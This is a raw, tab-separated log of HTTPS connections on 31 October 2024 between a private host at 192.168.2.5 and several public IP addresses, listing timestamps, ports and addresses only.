Oct 31, 2024 01:18:27.968797922 CET	49758	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.968817949 CET	443	49758	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.968890905 CET	49758	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.969038963 CET	49758	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.969049931 CET	443	49758	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.969753981 CET	49759	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.969783068 CET	443	49759	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.970125914 CET	49759	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.970297098 CET	49759	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.970304966 CET	443	49759	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.971853018 CET	443	49752	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.972265005 CET	49752	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.972276926 CET	443	49752	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:27.972769022 CET	49752	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:27.972773075 CET	443	49752	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.013788939 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.013838053 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.013880014 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.013932943 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.013947010 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.013993025 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.014028072 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.014357090 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.014405012 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.014410973 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.022289038 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.022352934 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.022363901 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.100446939 CET	443	49752	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.100739002 CET	443	49752	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.100801945 CET	49752	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.101089001 CET	49752	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.101099014 CET	443	49752	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.105003119 CET	49761	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.105037928 CET	443	49761	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.105309010 CET	49761	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.105484962 CET	49761	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.105494976 CET	443	49761	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.114067078 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.114077091 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.130871058 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.130944967 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.130975008 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.130990028 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.131030083 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.133332968 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.137984037 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.138006926 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.138027906 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.138039112 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.138206959 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.146784067 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.158036947 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.158061028 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.158085108 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.158096075 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.158143044 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.164376020 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.172950029 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.172972918 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.173002005 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.173013926 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.173099995 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.181705952 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.189815998 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.189845085 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.189868927 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.189878941 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.189920902 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.207001925 CET	49728	443	192.168.2.5	20.12.23.50
Oct 31, 2024 01:18:28.207030058 CET	443	49728	20.12.23.50	192.168.2.5
Oct 31, 2024 01:18:28.207091093 CET	49728	443	192.168.2.5	20.12.23.50
Oct 31, 2024 01:18:28.207097054 CET	443	49728	20.12.23.50	192.168.2.5
Oct 31, 2024 01:18:28.207897902 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.248752117 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.248805046 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.248809099 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.248822927 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.249048948 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.249057055 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.249083996 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.249166965 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.249171972 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.250756979 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.250782967 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.250804901 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.250812054 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.250895023 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.253325939 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.256647110 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.256675005 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.256695032 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.256711006 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.256843090 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.263396025 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.269351959 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.269376993 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.269431114 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.269442081 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.269483089 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.275466919 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.281202078 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.281332970 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.281342983 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.287480116 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.287503958 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.287519932 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.287529945 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.287702084 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.293358088 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.299307108 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.299413919 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.299469948 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.299483061 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.299525976 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.305424929 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.311455011 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.311559916 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.311624050 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.311631918 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.311676979 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.317776918 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.323477030 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.323565960 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.323641062 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.323647976 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.323692083 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.329489946 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.335459948 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.335517883 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.335527897 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.360049009 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.363734961 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.363745928 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.365417957 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.365442991 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.365468025 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.365489960 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.365489960 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.365499973 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.365535021 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.365739107 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.365797997 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.365823030 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.365840912 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.365848064 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.367712021 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.370095015 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.375310898 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.375389099 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.375461102 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.375467062 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.375508070 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.380584002 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.386022091 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.386046886 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.386102915 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.386107922 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.386142969 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.389420033 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.509633064 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.511790037 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.661205053 CET	443	49754	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.684895039 CET	443	49757	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.697226048 CET	443	49758	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.703421116 CET	443	49759	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.721873045 CET	49754	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.736885071 CET	49758	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.756589890 CET	49759	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.756603956 CET	443	49759	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.759207964 CET	49757	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.759222984 CET	443	49757	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.759655952 CET	49757	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.759655952 CET	49759	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.759663105 CET	443	49757	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.759676933 CET	443	49759	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.759970903 CET	49754	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.759977102 CET	443	49754	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.760324955 CET	49754	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.760329008 CET	443	49754	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.761533022 CET	49758	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.761543036 CET	443	49758	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.761998892 CET	49758	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.762002945 CET	443	49758	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.766654015 CET	49745	443	192.168.2.5	216.58.212.174
Oct 31, 2024 01:18:28.766669989 CET	443	49745	216.58.212.174	192.168.2.5
Oct 31, 2024 01:18:28.774175882 CET	443	49756	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:28.774259090 CET	49756	443	192.168.2.5	184.28.90.27
Oct 31, 2024 01:18:28.775136948 CET	443	49755	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:28.792356968 CET	49755	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:28.792378902 CET	443	49755	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:28.792711020 CET	443	49755	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:28.792771101 CET	49755	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:28.793306112 CET	443	49755	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:28.793350935 CET	49755	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:28.794476032 CET	49755	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:28.794531107 CET	443	49755	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:28.794955969 CET	49755	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:28.794962883 CET	443	49755	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:28.794977903 CET	49755	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:28.802148104 CET	49756	443	192.168.2.5	184.28.90.27
Oct 31, 2024 01:18:28.802167892 CET	443	49756	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:28.802386999 CET	443	49756	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:28.835371971 CET	443	49755	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:28.839437008 CET	443	49761	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.845195055 CET	49761	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.845221996 CET	443	49761	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.845679998 CET	49761	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.845686913 CET	443	49761	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.877273083 CET	49756	443	192.168.2.5	184.28.90.27
Oct 31, 2024 01:18:28.884247065 CET	443	49759	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.884346962 CET	443	49759	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.884411097 CET	49759	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.887178898 CET	443	49757	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.887511969 CET	443	49757	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.887619972 CET	49757	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.889934063 CET	443	49758	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.890307903 CET	443	49758	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.890360117 CET	49758	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.890425920 CET	443	49754	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.890532017 CET	443	49754	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.890569925 CET	49754	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.891026974 CET	49759	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.891026974 CET	49759	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.891031027 CET	49754	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.891041994 CET	443	49754	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.891053915 CET	443	49759	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.891067028 CET	443	49759	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.891087055 CET	49754	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.891092062 CET	443	49754	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.895193100 CET	49757	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.895205021 CET	443	49757	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.895250082 CET	49757	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.895257950 CET	443	49757	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.895550966 CET	49758	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.895569086 CET	443	49758	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.895586014 CET	49758	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.895591021 CET	443	49758	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.902548075 CET	49766	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.902587891 CET	443	49766	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.902648926 CET	49766	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.907128096 CET	49766	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.907146931 CET	443	49766	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.912820101 CET	49767	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.912847996 CET	443	49767	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.912914991 CET	49767	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.913043976 CET	49767	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.913050890 CET	443	49767	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.916155100 CET	49768	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.916168928 CET	443	49768	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.916237116 CET	49768	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.916341066 CET	49769	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.916379929 CET	443	49769	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.916424990 CET	49769	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.916906118 CET	49768	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.916917086 CET	443	49768	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.917001963 CET	49769	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:28.917017937 CET	443	49769	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.923325062 CET	443	49756	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:28.923728943 CET	49755	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:28.970400095 CET	443	49761	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.970614910 CET	443	49761	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:28.970671892 CET	49761	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.019393921 CET	49761	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.019424915 CET	443	49761	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.019440889 CET	49761	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.019448042 CET	443	49761	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.032691002 CET	49770	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.032725096 CET	443	49770	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.032790899 CET	49770	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.034324884 CET	49770	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.034336090 CET	443	49770	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.077522993 CET	443	49755	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:29.118411064 CET	443	49756	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:29.118475914 CET	443	49756	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:29.118520021 CET	49756	443	192.168.2.5	184.28.90.27
Oct 31, 2024 01:18:29.118629932 CET	49756	443	192.168.2.5	184.28.90.27
Oct 31, 2024 01:18:29.118642092 CET	443	49756	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:29.118652105 CET	49756	443	192.168.2.5	184.28.90.27
Oct 31, 2024 01:18:29.118658066 CET	443	49756	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:29.126846075 CET	49755	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:29.126868963 CET	443	49755	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:29.129208088 CET	49755	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:29.129250050 CET	443	49755	142.250.185.110	192.168.2.5
Oct 31, 2024 01:18:29.129298925 CET	49755	443	192.168.2.5	142.250.185.110
Oct 31, 2024 01:18:29.163839102 CET	49772	443	192.168.2.5	184.28.90.27
Oct 31, 2024 01:18:29.163867950 CET	443	49772	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:29.163933039 CET	49772	443	192.168.2.5	184.28.90.27
Oct 31, 2024 01:18:29.164278984 CET	49772	443	192.168.2.5	184.28.90.27
Oct 31, 2024 01:18:29.164289951 CET	443	49772	184.28.90.27	192.168.2.5
Oct 31, 2024 01:18:29.632920980 CET	443	49769	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.633538008 CET	49769	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.633553982 CET	443	49769	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.635288954 CET	49769	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.635294914 CET	443	49769	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.644361973 CET	443	49768	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.644763947 CET	49768	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.644772053 CET	443	49768	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.645240068 CET	49768	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.645242929 CET	443	49768	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.656353951 CET	443	49767	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.656744957 CET	49767	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.656764030 CET	443	49767	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.657157898 CET	49767	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.657161951 CET	443	49767	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.756899118 CET	443	49770	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.757494926 CET	49770	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.757514954 CET	443	49770	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.758011103 CET	49770	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.758014917 CET	443	49770	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.760442019 CET	443	49769	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.760747910 CET	443	49769	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.760803938 CET	49769	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.760876894 CET	49769	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.760876894 CET	49769	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.760895014 CET	443	49769	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.760905981 CET	443	49769	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.764389038 CET	49773	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.764425039 CET	443	49773	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.764494896 CET	49773	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.764667988 CET	49773	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.764683008 CET	443	49773	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.773880005 CET	443	49768	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.773943901 CET	443	49768	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.773994923 CET	49768	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.774190903 CET	49768	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.774200916 CET	443	49768	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.774214983 CET	49768	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.774219990 CET	443	49768	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.777194023 CET	49774	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.777236938 CET	443	49774	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.777307987 CET	49774	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.777482033 CET	49774	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.777493954 CET	443	49774	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.788120031 CET	443	49767	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.788178921 CET	443	49767	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.788223982 CET	49767	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.788355112 CET	49767	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:29.788369894 CET	443	49767	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:29.788383961 CET	49767	443	192.168.2.5	13.107.246.45
